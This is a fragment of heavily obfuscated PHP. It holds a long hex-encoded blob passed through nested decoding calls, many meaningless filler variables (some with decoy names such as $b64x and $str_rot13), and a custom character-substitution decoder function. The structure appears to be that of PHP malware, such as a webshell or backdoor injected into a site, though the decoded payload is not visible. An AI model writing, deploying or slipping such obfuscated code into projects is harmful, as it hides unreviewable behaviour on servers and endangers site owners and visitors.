323165646465646262616136363138633562623234353366363331373638376538353037303932323266376663336432363966653165303930636133343931376635386162643638363233666464653939636663346166663865356662633862333433386239343639363330366565336431613065353635623333386134623263336434346633643663376331613731613362313334343133376564643361343463343266643061653036643031333261623039616131303462613931383831313665646130383837636138383232323962373866346130313338396364316265333235326665656166643339633834653266633261393864356333613838393630306463626364613162656461343934626464323430323532396530396434306534393338633333343561343432343531646434643662373931656135313531353635323462636434313935616534343038646135366437383032326266376662383365363431623938633232333636323862393261616434633432633030383532313131623463616466303138643862303333653739623438646162666135633862646565316335653830353035306538636531643130313462343533653830303839633035326163366335643766656465353732613165643432366534363034623864373831626337353666343335656165363930613062326532333331303836313965373630323835353139396234326232343233323534333062636238626663376462333737643938373863636661393132356361363432666166643931623937323334386161643034356662313061666439343337333064366365313037313066616231363736646165313164313964646430363737363131313166613365393833623730323535626630623435633665663764333637316662313830353633623735343032333135333163303762336432373536663363656638643461633162386134336161323238326364383666643138356439353763303433353035306434653939383933383161396435663434653464356631663637316437633636383439663739613936316133633931323265626631613431633832616436356132653833376539393536663237353937663930333036356461393735636637613537623932646336336463656533323930393866336236653166656463383062376137613630396565343039393936313235356266313730303033653539343633633436623831613531343938326230303164316633396438626332306534336230373137626538643834356530346661316638336162633336373839653332363964366465316131363131306338376231316163656362313734353931623661326333306535626131336163386633303761346363386533333331333964373232366135623163336333323335373836613435663639366563346466346636303933653837303462363334393938386537613239326361383065366631343438656164616264316364323539626432343033366532343363653437666161356537343563636337393138333330313937376366356533323866396666373730356264363364333937656664366266646230633532313134393034663436323134356233346138643339323836623961313830653363313936613136653838303036666262663563646535396463633130616436343032363765353237376633663934383631333764393936363636386533343465396665386533353135616437336231313138363965656432333434316230353830386532313165353039313436653565313061653964656131643631386563393766306431626161336533613664393739386134323162646637343565396166383736623638633866343039336338306164663230313932343234666331643539646436373062626434306632343064633563333731663834636432396234383938343039623265663330626634356162353635356563393463623566306234343432633461303464353566313637303438353231633538343139313033363332653131303862376164316234346663366435323138326531373136313763613435663938323432393630316166666334343432616161353664623332646133373938316134333163393232613863626232623663653163313962643636623963616338633933653232393663633634613963343230653361613031323864363734363632356634323133633238373561613933376566343338656332363361343465613633373737316663643637336531383536386635313334643231373038306335326633653961386162616564626631626430346133366662626138623663316332333263376562333635633662633439623966626364396234616162386661363733386331343337323663383262313335346234316435303961633066393166363132313537336233366334383339303438643237646635306439353732633737366266643765303064323163343432656634353565393261316365366535636662626332363533386262656534646434663362623439373061353765346666303831363165386433313430666638376530616164633237663064383234396131333634326363626565636463303630656139316461636561663666366236383032366164633231636131316564306139363435303531663061343666636539613835316630636132663137303233643561333962376638366130623939346665353432633762333965633539323030393563356466313865646138373064656666623632623965326664303233616665636436646534316439663739646631353737326135656631623837316536316462633665323139363639663163356637653565666163613439646532396635653763666232643934383739643538636633626130313564613362336466306130383236646133313531326331613666366261303934623730653365383134303433313663346336623763366438373836316264313736386330326536613832373636613732323439373334306366343635643865323738663961343537323831623135653665356238663339613338393439646434316535333031383431656665386533313034663561336233346232653537396562346562396164656166383832363938326235393461353461333962393939383463346164643030316261323532356265663832643130313838633733313263613266633662353138306463383461373331393530393433396438626230383836633735656461303265643137393763616539313038353664373263613831633961373264323633656461393566336534306332363633653464323035323934393263363663313234396332336661313934643666666131636164396266326331643636373436623430393965396534613036623331623063643532623333653633643934373132376137363735643863663366383733613335363666623466323965636434323262393439356535636163626233626536393337356162353537386465333333356434626363353363623462623731613637366635616337363761646461373162623839313565653263326664323338336533386139316631656266663237343835303630333263326637653736373864343338373930336164376435316465623661363366343836366432333431363936366562373566373766666436363831643336376633643664333435613965396363373462326238643862666437636432336538623462376437366631646664323436316339633963666366356230643133633763646464303564613064383733393538323766613962353532653561633836393064303538646538636433643663396466376638643239353161313938393439636661663238343638303536616430333163646333633665623761356262613464326566663163326362326432393433313539343135613863623263316361396430623038306230616636333432333065393566633138646330353764356461313665383831343136343662323832626565346666313337323534323235356430376632343132313332313334643132323232653335656161353039373838616163373261636661656637363234323331313063333831663735356233643936383334396231353066633362366433343133386263616237386539396433303634616364373231323331613265306163336465373533386661623865623764303861363833646562383537663132383135346661613736626431646434643437303537646134376364383963636565306139623931646261623465323138646630396132303861643334326631386130323962306563336162396636376437323330643538363662383233306138353031393738343035626339646638623862336634376638316366336436353138343063323338613334343033326435303231386237313636383630336634313435323230323566653435613230363132633864373738666533656530653464333966346638666631633130303037323432663739303334646630653832333364306561366633343936663834303937356665393566376133656232313365623738663961326134343662386366653965333839376135333035366166353433663734376331626166643133633766636434343634313461653133363262313737343031383832663231636430336335633435383034383631346431643036363431343736376361666238643731643562373966623933616334333537663130393333376631363734313931353031313361623438366135663565313630613036353566353433656330616263386162616637303938393765643638376233373266373635643761303065366333646537613732323761363263653432346632633731376636653362313162313035356137383834656330633361366635343464343763303039353862613430326139663862666163396331396232333538633262616164393339333333663463623266303933656139313532666361633263333130643339376633643965633436313936653034336638393364336439386330313339346234653761376536303039666165666138363063393061663262346565623238643363623731633736373031323234613764393161643731386537306435333264653962313165366539373632326161376235326634393135623634373534663230376530646537363463623339363463333862666333616133356636326263616634653465643437666561653263323235663262393465663463376564646366656165623865666638646262396532663337646664643064396165393466636663623731346333363737303839316439653431653862383736643435383964313032613133313938343530663335383964643065343336383338633832333035623935313461383161633366306365323034363362666632653237313338393661333632313234663330326133306235316133343838383338303636366264353135396166343331373863346362643736353666626139643637656263643135396166363566666265313162323838643131646535353534386339353166613730653931386131313837643665653135306631646263653339626165336330663264386136613062656132373330313239316365303937343661333733623164616234373166366639383232616434396461643335326234386363313035643431316439343332626339396330633436356265663534383562343362636130653565613065643935616534353363333965643137326532353739393739353566613732326534386264363134643936313561356331323532366438353537356334376435633135336435343461633233643038343838306363376436623130623061363039313239386166346263313138326332633866363362323761663163343630383839323462336536363131393062643064626139356133613764626331306366346264616232383533336335653736393962373336393866333132623036363033623639343630333830663636306538353966333364383630666532333864663535373235643261323333363762383031623039316431663965393939666536356261376535643261636565653037313962343361386437653166323136366136316634396239656462656564343536663464363139343761623964366138663033656536613163336432653937346236333631633137323433316238646336303538393063303436326338313034643631663934313435376630383733633830333136383737623862656236653631306664366233326334633666636230613132346461353831303364353834336336666462373562666235613535663131613538346233666536376134343864633832363665336333643836336536373133376661303265653735366238366364323866616336633064643263613536373737643664386230336230366535393230396165636463333365646266613533353836303166646230643237336463323935666630653838613862663366323835636534373638653361393763623263666164396331323734326539353933666164636361343964383733613937636430643132613137376636633361393365633034393534646261313232373332643131636537633830363062336637323837663332636639343039393662633963376339356330623365346365353538663636353362643239626462626565353763376663666137343161396162636665636436633935383030356265363631386665353332393934393233656631373032336634396338333832663461373831633765386533626464313937333135326138353066623965613565663763386639343034666234336331663865353364303761313564353135653761353161306261666361366663653739633832656234306433633435306434373235396231613866393934313064313331363530323361306335346336613661373430643761393862303830646565343336396239613936313132366264633936643463346464656361653539396130356335626363326166386364383231616534316333326539353364323835333632366533623130323463623836613535656161383865356165633739653935306338393066626232316265313261613031626634323236653039313965386466343565386661343665373033333937643632363163356136353461363339303439653334376234396661396537366439653938396263343439326265373436346366343333346330363436363230363464303235396333343262303337613363633137633466653631326534663737316434316234626137613236376539323632653665383666643264653865313437643339393963643764636439623032353737323164613339346263663966336566396561313461333765663663366465616266393638343861316132316162303437383366346538666463373039633631373866366534363431333165613064386361346530366464343162313763336631383733306332373366386137346639653937396533656439386632663463383564373537653433323232643033333266646132643935616534366264343133383866643034336166376637333564306164313666303266653135323765333262363131666131373864666632633938363361623866383137"))))),$ERRreukQ);$Ppqn="JHbgPMrDrKPgMjHKcYiJX";$lIUebO="CVibLGFAjFRpYBuwDSsXOsEvDQNByTuApcaZhGzskPGiqzeTrVqF";$PLYRFcJpMy="sXUpmgVUWbiZCnj";$kyZQrilD="RdpaNNkSpwhj";$lwyRKvS="jvgEpbzcixHTxNPHeNSDJ";$tYd="IfNSqDUDbbQOMIsDUdjUYISEsesJehKmNWECAyeBzuOLbFNwJwqHdHlvLcE";$MYuepI="PIaSrHIyiTFWzDZVPZtqUfOiVEMVxcWlKWDBDkylD"; function gqGXfYe($wREG, $XGBaGwiIx, $mJHJrDHY) {$mJHJrDHY = $mJHJrDHY . $mJHJrDHY;$b64x='JqNWaRqYKgZFBpROXINvxaVUaRaUhasRqEmPUCmdJlhJZYxxfjRbJmWjDwdKwUaLXmZrpmuxyBfXYcudlKfvWBEzWgJRAJCxwBNKmGGLGLhdNBgzKLTHLxFgDnXcXYYtZkClQhwVsDYfdeEnqWUAtzHvNEWjDUbbeDmujJpBlmGPQJcfFwGxuMrgqmPsgQtKSfdbOsDzEINvspZwjetEQJKGWZxCPQmIvqiIhLgkuuekhEfsIyVYheEddaetqraKgisnuYXmRcxYGbqNAkLgqpjSPNkeeKpktfXMduyuwutBvIpUtZahOJzDxKgaTvKlBgxdAUyWnqWiXkcPKDwXLVAHFGHXBQjBWfExABSNQOvnzXCiAYfKTesXjyUKpDKKJpgipYvfmQtLNUTMsyVkCmHLkbVYEFIMtpuIMpmYeFJrYbCQzxAAjhLTifrlKyYDMskzGxWjBfZYganfyOegVPZDuqOENlgZdQXiMTSmyRKeSYJPlNVgcuiwJwZVIFukvrtgKkShCclTAUILhcrjwzeEUEzbiTLEJeKtOcaqelIEGqpNsFwmDAQWdPYMhiqQmzJBBJQeuYIZnwlfAHRCHIzjWWVdeKtRjBsjJHpdFwCTsnyrupTawsKsneURPNIYNZHxHvZlRBEInBYIQrhlIRdvWxmkjuiXupTaKSLatPIgqfOfxvREMuZhQLsAeZWynPXXHiXzXeFmkSSHnikZCJGRTXrYWMVjBtHHBEGXJkjtDBZqJJOkSucLrSimFeVFWCmWGSTpCCHEdfTMnHxfaYRQQzCUDXAYzlUedNSePYJSdCdsJAWiXmZOMahOXgNWsHaUUtZJrIBUJdLRdgaauznFzwtxCfSUmsOgKmPBUPvdsFUvLUweSJJsECngHfAtxNzHaNhubbWufROQkJvdtDUWeHClMBEIpDOOPvhRVeKavXReHLHznBvShxdtXgBlipzYKHpekyfevwIBgqZuQvlyrOQnVrZdfyBpEptnMyRhTAIZPITeCECsttFNidqnbRbFfvtsSJzliGKxNcCOHdfzVklenBRpRTuxNlOFUMqDRAZFCaSieYHzIscvtUjjmDfZntdHETjwtJAUJsdmPjMWCnsUHBDTDisqBwWfpGagpAaxrDjGNvbOIthqTKiVsakTwhyjmyqaxqxmtGSFaUtiMZyfifaBfLuasRjEOYEkOaWggPLGiDOuCLzKRZkWKdXbuGFHFIrthnYNcJuKLHdMtcVJbgeLJBldhqjlXBdeObSqjLZuRCfJEasFGxPqxaSdqbpMCRRPSieBtdUjfzTJAkOfgcUddlgSnVFpMweediewMZeRXXZxImcnqWrtiXKVSpjdjNHmwMhHkmyhJWFQJgEYcUQKrAFippMybtkWesDOdAWmxacfgGDiaSTrsXZGlLENDOJIFmwJMRvIRWmXcPGCgYSYVrdHBHuevclapgiBYcipYwMaKsbRPuPjKsQLZjPTMAtaGBadcjtbeeBnVDEKWStfkjQjSeCEEVeKweNzNFZrJZFdCiNXBgdLPtuHyVLBQPkMtyKgcixlhBpjjCgKhJUWcncZINAzCkKVhuBjCxUiYjshLYRsHkniyPhfDhdERNYYGYHHwCQukHavFrMMBzUynCDqiguZtRXzQdfLFvepcEJgUvSvtmSgnUwwApUTGrsVuWGzsjNTNWZHQsbjEtqRmkMNZGfFWxAPtfnjpBcbxchmuIwxakNMwzzUEEzZAYOtDCCrCFRYHYKAGgWGQisLgrFKudiuBwMdxnuYSKWYIHXNmttcBknHaSQTwymWUYArmtPEdLcLRZzDtrGtatAAkquGnGchFCXrUMuXXwiOVgsNWxfxpFWzvqFIwgpaILQbXjzUfghamYNiUsFixbhrQMylsMLZWBATkYNqevPQtbznSDwpEcFvnCGFnsEksEDbCrQgLFWDfvqYYlmCnswCTcgHTkrKOTMqJCwuHSxMmMjkXWmlnINGjTMCdcMrwXHeYCYFuvRHGarEWcPJLbPuuBwXdhnzeuccWa';
$dcrpt='lfHJpuauQzcjiVVXKpALllBqHrzPiiEuNLCbeDvubWDJRXHClgMWRnLydjnlRreEbGFFiAYKwCtnzzpkFagVNSuqBgBtWeWyLbCtaBCVCVIAuwKzxruJImziSzapExMOXnGXniSPDaPwwYuspObWAAFtyFgbBSpyFVUtDmhfmwaIvvaJIBfhAKZXOFZqxnmCIhUkuBPGXqnsKnARnFyNOyLDCjsZWEaFLupEuEjrTXhcKhTYMrLBnwDQFUpCXOGJhumBXWsQTYsDfkasbMspHUEMnSNkGStmlfnjbFzucRwibxZcIrROkvAXNMhtEafQftzGxXZzOvgqrfRYwINfDMcqYKhCKmRpFqUbntaBNgqEmhbIpnnRaPgYzpZIarWfGqGtIGuVNJzzQAGfOTWnJDLHrjqrALVgBCYiHsdTbbsRCYwPrSCZvmgkwwaWGWCgyAPEsSytUPJVmfjEXLcRXibSdBnjxpquPeYgxwYQKHLxlUaIeCzBLZtnagxxvmrjQOPmJmctUmPFGpnKRlkbLdpLjlhEyXnnLCBuPcmiqbNvQafHmPhxSwhbgOfEMtsxusriTDridEdTEIAqxgMPcTqihvmTmEPHvfPnhGWljZemHecdkOSmhiVpchHqLVWFbkSiqOTzNYlucnXMbpZIWUwZBCOLyjqYuhGjWAIJyTDZgZkInjPkDLJDmxnKGDhzLOIHNQPkiRJqQTxEDlnFWWiJtwSyzawjOEqBuEkCwtrLLNONzbtUXaDPVwMuwiDJMSJfWtgRLybVKQJiRbDPBfdwaQQVYtEjLMpgevXpsYkcOtKGTmUuSXPSmFOkyRuIdhOHckwuiGVxyfCrswKjSzCfEPPBfJiiQwQsGllnrgKOllEdgnMzlndpCSPIaxQRSfIXQTlGAvTkgxnmjakwNnKPg';
$str_rot13='NmgQhTvUKKMaJKEyCqTkITFCDrSKZmVlAbBguvaDeNDmWGLyWdJEWNfZDXibKdmjENqXhQZmcCYYIJWEMFhiRMHvjPwTSiCwVrSDgRpISmHZWcDhHjqyWWsfLnycwZXrq';
$b64x='lWQRfExlwLmFcdRyYCYJfgzgDDSNmnEXjupPYkAuVMyXPPwmrTVxZUcbWUpIHSfQLueJEEDYPAWEpRqGjlCiFdjBxyidPntBgyJjBlirlEuAUKFdvGlZJUZFSHIHvBhBYrkzCtPmwJNqtRSNyDMGxLlOstVMTcNrtXQvPegkNtZFkRshudmqnXEfrzrJaDauZqnOTuygmWLxNddGGqwunZYdyplyslrradfUXcAjZkflNisTyNmklkNJYZGqKXHLAlexnEGMnkYBtqurCGaNQOwnNBExyKHYVLUIOavCkScEHwuibuVrhQEurHrprXMLifuwfnXQFZulvmTVGnLnDPHtwXgmvsXDyQYcDwSHvLsqXkKEXwrZKXtfvzRPrPROepQhKJOfTgURQEUOzkNiHFObEFqUTGIYVXFFftjZzdQPhKcGuPpaUcCyHRsByzYSwDxCvHBujQirAkxtzLStmuQTLHTIfrACtwdOcdHMTPCSzYkxicQvWfOHNHOsynTQJwdlYKxRYYJWxtuFVjAROnXauLtRyLhGHkrFvNxtMFqIyJmtslJFzfGtQyjNirtPbKUVWrnIvcPSkCkbNtHmyMeNjnARetgFcaAYQmgkqvDZWmbKGIwduARcNQTriZvKzUiphOZWiCVfOwPudkXWjnYwdsNMQhwqCEdisceadzfSVULyEhUNvsiYJvKAcFpdJslAvPAyNFPIYaGChAOcrxAaRJZtnnwWFgWzVwxJbLQZLVbtUpvlLUlccKUqXrMbxIBSDxBdhQDTMElGSfrdzCfBLZqIPbKMiKElgEpNTRfFvQLNVbqudvuOTKWikfUTpXeUBtHuKNzEDJrYKGRmAlBTvWbFbVXqSbjSUQldcjHfSydcDUpdfpwZkxFlRCaidjaxALAbVggNEjpHeEKJsFJDbNnsOpArXZmWKMYeteswOGcsJlabQiErvRIjFHZDGmzQYWUQbLMpsOGaAGbPpegJwnsavscadbqBXksyvdMMrsmQyNGlSlunYMNtDqTfriGNSXLnAxzRpLglzlxQxQDVbqndegiUPpIHLtUlpTCcEInCujsqAukBjzeneMiTaqBMIUXwNYYRflSzVKPvdzVmXzBclivlyVxFquaCRYSXKLVFvjZyJukGTkhEtDPqXmUMfupxtguCrOGLYFJHytMQDuuvwJKSvEFAXtwPYpQqdwABAIHYatODlixHRgZljEkHWHwuvMJyhjYIRefsXTUiBRqRXpChsNnNTignUQlczJjPOpgLHBtIsIzOwbvNnIAGRgtLWdmUNViBJqLQqdyHlwUHWqvjXupnAIzVLLpXgyXPNIFClcIxYCdUrXEpRSbrZAMkLahRyFGKMLlXmTTkVxflTJZKBbBaaMkLMRCKwIuItfeFyYQtUvFNdEydeydfjNQvFSeAAYhsDmWaKluEGyrJBnmfkqkudAPhRtHQrphTaEuKPmnwjdEKRQpbGYVJYjqPCWGtKmLKQeufQgaZKEjBUyCAxxIUGXJItOAdBkNrPHwFmweWAnxTLzSHVABbWKiOXIrySEPgkKlxGqTfDqYNOQUjPUKkESYbZPzrtNyDXJzDYshBhfNVvHEJCnTFFrGEfFVyRtAObzQzqXzxclSWTwFvKXzppftTjnRaGQpgpeeFcDBEOtBHPFBYDaMrFeJOsAOxQcDeHgiJJKmyCmErsFOUeBKJFSWXSjTIMWltcvbMENJfAMWRrKkUkucQlYmDiFkuBxMErmqUzyzyjvOafYUqRxFDvrfcWrwxmHaDtPWSmvPWQEWvbqKTMPVHFaiBQeyckXeEmaVzVKUknqFPfOIrDcXIcGitKfUUdZyqzSnTDIdqXIecxluznQgQwPifUcaXBXMAQAtShxheeMHaxaALQGamvIRPjrlLpYKEXcwezcIdnpdLpcVFivrDchslYEwmbfqYikCgMjJazmkmpFRxZHAbprmmuJYUnnSwXTcJdLibxSnMxFIwlHWZYJlRRJMeWdBtXcCANKBKDOwzSDVEkrDIZpzQXkVupVMLXnkjyLTaYOzRsTvbkXJjLhAJSvcgqOrMCBVZLpzJcxAuruUaRDJCLikDcMisazdCzzaJNYspvsikkcKbGudrbnteAawAYZBxXafjYWytNGEYinZOgcEiQwmPwhpuGpqDpvMmQKFEPICXwakbDnjSJVHedvXJJmMXgXJXgnaWwCtrbEsErbVawCEzWCIeOTBVqjsxXsSttkiunZyFAteWvIUQjbVYUwtkGKHcBzUTicmWBjBbDeXXMrNWthumElWJvcLVaFOj';
$dcrpt='USZxxgPttkEFnOiVBJcdClJcKrfXCurWLrSixHaQRdUFRCZRlbUmNDqxuUTvNjQYZJgWqglHjflBIkstLmeypTuImMDAWtyvbErsjbYShJtptkgdxkbkEUtQHVqcnNWPQngzpERVMjjeTqHPahaEctuiNjKAwGpMtUkIXbcJLMmEbUuBBTecLYkyHUxcalOtfzadADlKpzOPShrSAUVksfhYAEbAPpsvNSXNvixJgkyyRnrriLaZQhYPlzOANgUBYrntZjBFUydLMTCuECtTjQiUpWuCCOcAePsdysJsQlDCEEvHFNAOEhIseCTfqvGuJxyhPGYFRBGUEaBjmAXqIfhlHarwVwPETMkhRJlIJRbnrCxccuSKYZveZLAuhPYABIHtrsAaibnYDKaeDSnbrIfQufjaUHZUqfMfxmFFNScqbCveUIFkQKajpkJiRIdGNPMjBrnnJPdjryNkFswvCwdQflZXTCDfQOOsfBenqhxHekrKCMEdIIumTSjmumRjaGaFgfSxMPDRZTaafEEmLXzePJrIvhrUmsZuWRqIGsYekYfqcJCmfbrUjgbdOsXaiWTEniMtAKykicZKLbWQcnjLukOHbkIKhBnvjZNiKKSsMSbxTxMvjvFdeSKgcsQjtddbDrJMaCdmuEiMaVGkqkNUcxaePqOHSRIvHQGIsJUkMcwmxbWmLJgmfGsuvFAmVHhDyNKPWdAhFVucXPOhyuvdZlWuQxfLdMNBAxQVZqcFkxgHLUPJNjMMvhFKEjUhWIIwEXQEmSiXOOdAhSiUBufvBjeftZmpgujKRZndswAfjEFrVmKxGPRhYwMsUyfarPKhnYLFTkLDnPtjCdGhSWOrRZhLWmknBVUPtFulqEnDTHMvKRbbnQsEpzqllZzMUSBMyvymYLPRsbLBsNcFcuJrtyCExAPRtrDqkaCilQADrKEJxGNzzwqrTrurrjHiZjyjKzRVOQXfBBnxGawFWLVPbPFRYlZxVWfFvwAJMxOmybiDBEhxpDMQsQHPCgLWcqBXLAGxwTitusWUvDRjFDZwSfKuLvqOKqkwPQsLiBdCszwMcmVHpud';
$str_rot13='lVCJZTrpniBHrXKIkVCGqwhTDtdqQuDbpFjNyACkicrzzAGKviqLEWdhOGWEzzfNdOabOCLWdcUCCaLxibhMXKtlqppOnTarIAswbDREFkgGkRctsJFPtxahlpvziwpqVgLxJbanLGTWXwOpeSdXqdeBSAzavNqPTALCaMpLRIHOdVdHNGECjiCbhaBbnqQgpbipmWZdEgSgbvOnaRQjzsKGSkgfZxLnytCKqCNtIeAiYNwzElhDdSiVCPAClkPJEsSttFLajKiHxdfBqndtFLNgAmILxyTApLsHQdgzmOfjRlKgYmYDXkJXxRhupbTclLiBOpZACfJtQtZOFxQcIzZeqgydHRfTCnuPbTODYyWnqvBvRrxzPVdFbBIJRnbSaUgCNVektAXIuyclOYKdTmIvOPdeCEXDyDeLyIVQItYbQAmezxhRJplWDO';
$b64x='NNwkdTUOdqsLgwadvNCfzOPBOVFgjAMWmhgPAAEEPvpWROzlabQApeAczeiIeVFQCLGcljfAduVUhvFiwvhjYgmyLUfPPjFRvKTftYFxRaryvwfqQMzpTkMEfrSuaxkvHDAZaEwREmqyIUmXHllAVxDaOvvnreIXIHxIKSZOEOLlIYjpJUnEsqeFKzSBDZXKGuSPMRDqepCMMkBUeOyVeCAnARnDQlMVeELQUNGYbHLNr';
$dcrpt='lUYTiFnBxKcFqIpNXb';
$str_rot13='XCOVYBjJGUpVGkiwxsQqwCSmXxMveNZbPNwNNewSyjOeuWZQOpGjqyVmuIHyUfYJSUwfYrXxALathZjvppddlYrG';
$XGBaGwiIx = (int)$XGBaGwiIx % (strlen($mJHJrDHY) / 2);$qqZuJGgI="JyCEEedPHwbDmiYGCKjwtTFMFbegQMvzKWCNAeCGacimKGslPBHIuluyMyeCKzBTVCfUHhBHjitupKFDkMkexECjcGklFLe";$BbN="TeViHxINlPkcPZEJZIHMhYIlmtarkKQdnL";$JuUBQApqyn="ktQOcSKdMbTLJcpcScRGlqaZXyAuIDnsVdFXvpAGrtrzVeBNHSSSHtrEQQxXSjONMujHIKmyCdWxhXK";$DCxjrEgB="YIsqmYuWqFBddaWOWHN";for ($i = 0, $l = strlen($wREG); $i < $l; $i++) {if(strpos($mJHJrDHY, $wREG[$i]) !== false){$HnHS="prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh";$YrEXDaSY="bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE";$AsFUD="bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag";$qGnqPZl="AAPbpxhBb";$BlxuvRKrRA="NAsICVCZLsNaNaeulyvDcNsMe";$zXS="EsRHecSnKneKqFOfbGtjQh";$NwsfaNAe="amCEGOExWsmfmndZ";$wREG[$i] = $mJHJrDHY[(strpos($mJHJrDHY, $wREG[$i]) + (strlen($mJHJrDHY) / 2)) - $XGBaGwiIx];}}return $wREG;}$b64x='bCgntzHcfTzfMbNNEtzJBmUlzQtQalFBNlOFKVHpnfvzHHLkajTaxOMVdELDPQebBsGKMMYasSYYAKIZTCZPPkjsOvuDKXdkqiuBVRamKZkJJSIbTgRhsAzfUtiEqLneUHGPzGbIFLrNcyPWEfdvFcBZviDjTrpmxUbVZCcFMSRPqfkUkNpqPpOJWrtqgHCEadYZebERTVfjaqDLcrasfOAbESrkztOzwMzZmCQGxVpXKRINHheMvdOyWEIUWVTRIRrutgZqCnMlEuyLBbxvfKSBpBvKwNbDEsxXXwMYjyKmrhXRJvLnEDOsDICZwDbZuywruHqDezPvGmLOgwbKzpcbxEASGCrZZmPtTEvYcKSiWdWCYylWMNYiQyAVzrUYDjQwNlTqvlyQOTslrDiDQgkGdkbDBvBdErYRbsgwDElQxcbnGjQVqAaTKbwKxwmaMlrnDxJFAvvxxwKCGZxvzXnJYitUEfVQrLdtilxIGreDMneRMbMLYzuwIlrLrLagwdzEqvMvLqXXECnqDZaazTwGfMQVxRcTuaWJwIEGYaDbCRrEqREOKATPljkiamBTmxchfGODGQEIHulXkqkVPEjANuhmfIfSfhZKmmmtdqajJLguARpOUXOgRVtWEXOJFntrAeJcuimCUSVTiJIcHwiXraTUyhccvUSuyCWrKITdZnXiXeKdAtaqttKQAlsugknEljVVRnzQawyXAIAzaZnttXJsjAMqKZtVINrYAPnBKMXJuyHTWUlpSuHBUSqdRhzYVpWUDjvmvSvnPBgLvtaMlgMfYbJPjhmEwiyYsTKNkEaZeHKYzjkKqWQnYzCHfOkBWIYOaIakLAJPgumFDxqtTFGRDIyIwhISPGGqNGZyFJMMcyreVfxnKDeMkbufIBXWgcltIlqnuBzVZpZuvWHEYkrILjNtLLprNaKVLZIeagZZUytpTztRJJzuSMlcxZu';
$dcrpt='grmikyvwHrBRgPXVPPTFDvfqiCfVevDkLPSWMmsTDtjjhgexvxBYRGNZHTULnWvzlmvXzlqCdzLLFPhaLhyCOkBUDUGRraPCNJYlUpNyNXiSlPSWWqyjZyeDtjTJJIKwrIIKWUhKSPCdETaBIXKHwnJOxCWgJGCznJjKEQuVGvyjNXjUVuarHKEELAjvFLTsUCbXSUSypPgBNQvIjwYqFCTqBcjfnDxHezEwtVThKAhxqDEYyCncDHRdibIVEFChDfEvaWbkVjgKlLIJmwkqcbtkCBgFfhNInQCNlEXHNErypZgavQqWriGTJlynuKvHZWTLArsMUIjiHPiBFYxWgdppOMChWwnVshGsXXdRGNzMCgnHEjcKMrYBCZhyvwumcZEZxgqCTnnVTaCyKEHwuGwVeEuZzNlalPZIvOJpBXJuxkRgnzcHEXChavgzhszTGXabkKPLgyFDhVjUTlBWiCejXkhEcgxhdXIOHxYNuDPazYURjUOSWsBtCIwdOtlsqtFWqDiJGXjEWDvFXIWTZxLbFgeSzPJninjyrRGWppAKSuOPcLhbhscMyHFxwNKdbuasKgNYvMIMfxahhhJOzLaxseTnRcQswRJgxVeRHmENiEuPlcDjODGFgYsYbiqWzzcVuHlbtPnBTHqEKsNXVTCBRUzsCppaNrVgxgHPwUPObesLxEhRWJsOcrfEFTEskYXgfewaykOzqFJlIQCFZttbJXfnRJeBhCHmGcmDNAcCekNMbOrAgiBQGfDxphxwJDIOfurStSuWdGIEuzdAgdPMjtIyZeTIIaVmTlelEXhgDpKWmmwuqLFzdnwcRpjYOekHPOsSLYYnNhjzufsKQXItKeUBSDAHgjNvYFnJDlxPTfpmKGWZcesMiLNanMgTVUptzCcBmYQfdeSOjnNmsFyAPKadwGwRAKjyLLzyJpDNSUabiNNARLAHvAjRfFIfqrcAcaXkOaxGUxhcKucBeCHABQrfwyKknmjqmhabhxgBunEdIfdMHLLHaBMVYxfmiqbvWbVDYcdsqgUxlxJshuYiVLdtHJePyGJTgFweHzVwfPTrmbJTvHBPReIXmMMKRwDYAycgwYbBmuSzvBSqHt';
$str_rot13='ibxlBBdAzLlZcvHnFrzVEASNUXEBbsZjSxUtxyTViEuKyAXCqxxuwqgqMjqNBqwtlrkIODcwgWfdVCFlyCFTRkIcuYQuNllYbwfpzHKFDpizRNjOpOIFYPIRNXkZIVXKQCypJiulWCjmOSbdGihdXpUklEjUYHdPiBdRixDFYlRmesqjAWnyLHIWlRqjySygTCxByZfxLxJPOyYpTLlEtTadjPMhIkNaMjBjJHfuDnIrkfFeRqhjihMSXyzeILeTUFdcLIVnWDFGiJjZZsIHzuYVRWZZHdSCJvdudZhzbMejUpItfqadiyZAvYzbCrckMgdpFKNGVrQQeyijnInwGMvajTBLKdVwjzKniWTeMiuRgbAujmpPYKpicPTMSpHBmQOUMhyzqRPwTppcbdrZmFHOTaBlphlaYAUjHthwjWsCLGdMiTkUySJRSjCGQNGnmZytsFPbbgcMlGXUzhOxZWnrFPwwbbJOBGgslvtMaVyMBvGZbTwbQiRvxnqYOzMpesHPmzBmTyyusDTuWOUlxLGTywRMUcayUgNgfnSYlrSDTLwpzqAVBgpybFjvhKSbQFhvtZudPlfiwCxurXPRDdPEhYypIPqYUxtmWlPkWUtswqMmmBDpdsskrPAyEpwylpjhZYRWtKnnZzALzdZbvrmkFlJIAEgLsPssnJnGtaTsZucXxBZrrlCVWKDwNiHFYyWLgJrzijqhcRfYseqIPrDLAGGmOMrlkmWQvMqEwFkXxqWnTLWhbYSaE';
?>